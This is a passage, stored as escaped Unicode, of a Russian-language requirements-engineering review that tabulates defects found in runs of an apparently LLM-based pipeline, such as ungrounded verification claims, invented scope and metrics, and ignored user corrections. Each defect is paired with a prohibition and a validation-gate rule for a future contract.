\u043d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\\n   [ISO/IEC/IEEE 29148:2018](https://www.iso.org/obp/ui?_escaped_fragment_=iso%3Astd%3Aiso-iec-ieee%3A29148%3Aed-2%3Av1%3Aen),\\n   \u0430 \u0442\u0438\u043f\u044b FR/NFR \u2014 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439\\n   [IREB CPRE Glossary](https://cpre.ireb.org/en/downloads-and-resources/glossary).\\n\\n## \u041d\u0430\u0445\u043e\u0434\u043a\u0438: \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n\\n\u041a\u0430\u0436\u0434\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e debug-\u0444\u043e\u0440\u043c\u0443: \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f, \u0444\u0430\u043a\u0442, \u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u043e\u0435\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e. `\u0417\u0430\u043f\u0440\u0435\u0442` \u2014 \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043d\u0435 \u0432\u043f\u0440\u0430\u0432\u0435 \u0434\u0435\u043b\u0430\u0442\u044c;\\n`\u041f\u0440\u0430\u0432\u0438\u043b\u043e` \u2014 \u0447\u0442\u043e \u0431\u0443\u0434\u0443\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0431\u044f\u0437\u0430\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c.\\n\\n| ID / \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f | \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0439 \u0444\u0430\u043a\u0442 | \u0417\u0430\u043f\u0440\u0435\u0442 | \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- | --- |\\n| `EVID-01` grounding | RUN-0026 \u0437\u0430\u044f\u0432\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 `extract_page_success=[0,0,0]`; \u0442\u043e\u0447\u043d\u0430\u044f UI-\u043c\u0435\u0442\u043a\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0438\u0442\u043e\u0433\u0430 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u00bb, \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0438\u043b\u0438 \u0442\u043e\u0447\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443, \u0435\u0441\u043b\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0442. | \u041a\u0430\u0436\u0434\u043e\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 `source_ref`, \u0442\u043e\u0447\u043d\u044b\u0439 anchor \u0438 `retrieval_status=read`; \u0438\u043d\u0430\u0447\u0435 \u0442\u043e\u043b\u044c\u043a\u043e `hypothesis` \u0438\u043b\u0438 `open_question`. |\\n| `EVID-02` citation | RUN-0024 \u0434\u0430\u043b \u0442\u0440\u0438 \u0441\u043d\u043e\u0441\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0438\u043c \u0444\u0430\u043a\u0442\u044b; \u043e\u0434\u043d\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0434\u043e\u0448\u043b\u043e \u0434\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u0442\u0435\u043a\u0441\u0442\u0430. | \u041d\u0435\u043b\u044c\u0437\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 URL \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c entailment. | \u0413\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u0440\u0443 `claim \u2194 excerpt`, \u0430 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e `claim \u2194 goal/boundary`; \u043e\u0431\u0435 \u0441\u0432\u044f\u0437\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b. |\\n| `EVID-03` attachment | RUN-0016 \u0441\u0441\u044b\u043b\u0430\u043b\u0441\u044f \u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 CDN-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u0431\u044b\u043b\u043e \u0432 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c run. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 attachment \u0437\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e SSOT. | Evidence \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 checksum \u0438\u043b\u0438 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443; \u0438\u043d\u0430\u0447\u0435 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f gap. |\\n| `REL-01` relevance | BCREQ-1104 \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u043b \u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e speech analytics, TTS \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043b\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043d\u0438\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u0430. | \u041d\u0435\u043b\u044c\u0437\u044f \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0444\u0430\u043a\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437-\u0437\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0441\u043b\u043e\u0432 \u00ab\u0437\u0430\u043f\u0438\u0441\u044c\u00bb, \u00ab\u0437\u0432\u0443\u043a\u00bb \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f. | \u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0444\u0430\u043a\u0442\u0430 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b `goal_refs`, `system_boundary`, `product_binding`, `relevance_reason`; keyword match \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d. |\\n| `SCOPE-01` as-is/delta | \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442; RUN-0067 \u0443\u0434\u0430\u043b\u0438\u043b \u0438\u0445. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435. | \u0414\u043e FR \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `evidence \u2192 as_is \u2192 requested_delta \u2192 disposition`; \u0432 FR \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u0430\u044f delta. |\\n| `SCOPE-02` invented scope | RUN-0016 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u0440\u0435\u0436\u0438\u043c \u0438\u043d\u043a\u043e\u0433\u043d\u0438\u0442\u043e, \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u0432\u043a\u043b\u0430\u0434\u043a\u0443 \u0438 \u043f\u0430\u043a\u0435\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438; RUN-0064 \u043d\u0430\u0448\u0451\u043b \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0439 XLSX \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0435\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438. | \u041d\u0435\u043b\u044c\u0437\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u043e\u043b\u044c, \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044e, \u0444\u043e\u0440\u043c\u0430\u0442, \u043b\u0438\u043c\u0438\u0442 \u0438\u043b\u0438 entitlement \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438. | \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0436\u0438\u0432\u0451\u0442 \u0432 `solution_option`/`open_question`, \u043d\u0435 \u0432 FR/NFR. |\\n| `FR-01` wrong level | BCREQ-1104/1106 \u0438 \u0440\u044f\u0434 chat exports \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u043f\u043e\u043b\u044f, \u043a\u043d\u043e\u043f\u043a\u0438, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043d\u0430 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0435 FR. | \u041d\u0435\u043b\u044c\u0437\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c UI control, \u043f\u043e\u043b\u0435, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0448\u0430\u0433 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, API-\u043c\u0435\u0442\u043e\u0434 \u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b. | FR \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u00ab\u043a\u0430\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442/\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u00bb \u0438 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f L2\u2013L4 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438. |\\n| `FR-02` wrong subject | RUN-0026 \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b \u00ab\u0434\u0430\u0442\u044c \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u00bb \u043a \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c, \u043f\u043e\u0442\u0435\u0440\u044f\u0432 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u044c. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. | Subject \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u0435\u043c: `\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 <\u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435/\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442>`; actor \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u043c\u043e\u0439 actor-\u043e\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438. |\\n| `FR-03` duplication | RUN-0016 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0434\u0443\u0431\u043b\u0438 4.3.2/4.4.1 \u0438 4.5.1/6.1.1. | \u041d\u0435\u043b\u044c\u0437\u044f \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u0432\u0430 ID \u0441 \u043e\u0434\u043d\u0438\u043c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u0438\u043b\u0438 \u043e\u0434\u043d\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043a\u0430\u043a FR \u0438 constraint. | Semantic gate \u0441\u0442\u0440\u043e\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0433\u0440\u0430\u0444 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u2192\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\u2192\u043e\u0431\u044a\u0435\u043a\u0442\u2192\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 merge/link \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0443\u0431\u043b\u0435\u0439. |\\n| `UC-01` mixed artifact | \u0412 \u0434\u0438\u0430\u043b\u043e\u0433\u0430\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438 UI-\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a FR; \u0432 BCREQ-1106 \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u043e\u0441\u044c \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 variants. | \u041d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0438\u043b\u0438 \u0432\u0435\u0442\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 FR. | UC \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 actor, trigger, preconditions, main flow, alternatives/exceptions, outcome \u0438 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 FR/NFR/constraints. |\\n| `NFR-01` invented metric | RUN-0015 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b 5 \u043c\u0438\u043d\u0443\u0442, 100 ms, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0438 24/7; \u0432\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c. | \u041d\u0435\u043b\u044c\u0437\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 target \u0438\u0437 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0441\u043b\u043e\u0432\u0430 \u00ab\u0431\u044b\u0441\u0442\u0440\u043e\u00bb. | NFR \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 quality attribute, \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, condition, measure, target \u0438 provenance; \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2014 TBD/open question. |\\n| `NFR-02` misclassification | BCREQ-1104 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u043b\u0430 \u0432 \u00ab100%\u00bb NFR, \u0445\u043e\u0442\u044f \u044d\u0442\u043e functional outcome. | \u041d\u0435\u043b\u044c\u0437\u044f \u0434\u0435\u043b\u0430\u0442\u044c NFR \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u0430. | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439 outcome. NFR \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430/constraint \u043f\u043e\u0432\u0435\u0440\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438; target \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 \u0442\u0438\u043f. |\\n| `STATE-01` baseline drift | RUN-0028 \u043f\u043e\u0442\u0435\u0440\u044f\u043b \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c 4.1\u20134.4 \u0438 \u0443\u0434\u0430\u043b\u0438\u043b 4.4.3; RUN-0016 \u0432\u0435\u0440\u043d\u0443\u043b \u0441\u043d\u044f\u0442\u044b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044b \u0432 summary. | \u041d\u0435\u043b\u044c\u0437\u044f \u043c\u043e\u043b\u0447\u0430 \u0443\u0434\u0430\u043b\u044f\u0442\u044c, \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442. | \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 explicit change set \u043a baseline; \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 ID continuity, accepted/rejected decisions \u0438 unexplained diff. |\\n| `STATE-02` user correction | BCREQ-1104 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u043b \u043b\u043e\u0436\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u043a\u0442; \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0437\u0436\u0435 \u0441\u043d\u043e\u0432\u0430 \u043e\u043f\u0438\u0440\u0430\u043b\u0430\u0441\u044c \u043d\u0430 \u043f\u0440\u0435\u0436\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e. | \u041d\u0435\u043b\u044c\u0437\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c superseded claim \u043f\u043e\u0441\u043b\u0435 \u044f\u0432\u043d\u043e\u0439 \u043a\u043e\u0440\u0440\u0435\u043a\u0446\u0438\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. | Decision log \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 claim `accepted/rejected/superseded`; retrieval \u0438 generation \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044e\u0442 rejected/superseded. |\\n| `FORMAT-01` instruction | RUN-0029 \u0434\u0432\u0430\u0436\u0434\u044b \u0432\u0435\u0440\u043d\u0443\u043b \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432\u00bb. | \u041d\u0435\u043b\u044c\u0437\u044f \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443 \u0431\u0435\u0437 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u0430 \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c. | Rendering gate \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0430\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0438; \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u044b. |\\n| `TMF-01` false authority | BCREQ-1104 \u0432\u044b\u0434\u0430\u043b \u043e\u0431\u0449\u0438\u0435 ODA/eTOM-\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u043e\u0447\u043d\u043e\u0435 TM Forum mapping \u0431\u0435\u0437 catalog ID \u0438 \u0432\u0435\u0440\u0441\u0438\u0438. | \u041d\u0435\u043b\u044c\u0437\u044f \u043d\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u043e\u0447\u043d\u044b\u043c TM Forum \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435\u043c. | Binding \u0432\u0430\u043b\u0438\u0434\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c\u0443 versioned snapshot \u0441 \u0442\u043e\u0447\u043d\u044b\u043c\u0438 ID; \u0438\u043d\u0430\u0447\u0435 `unresolved`, \u0430 \u043d\u0435 guessed label. |\\n\\n## \u041f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n\\n| Evidence | \u0427\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e | \u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- |\\n| RUN-0016 | \u041d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043e; \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043e 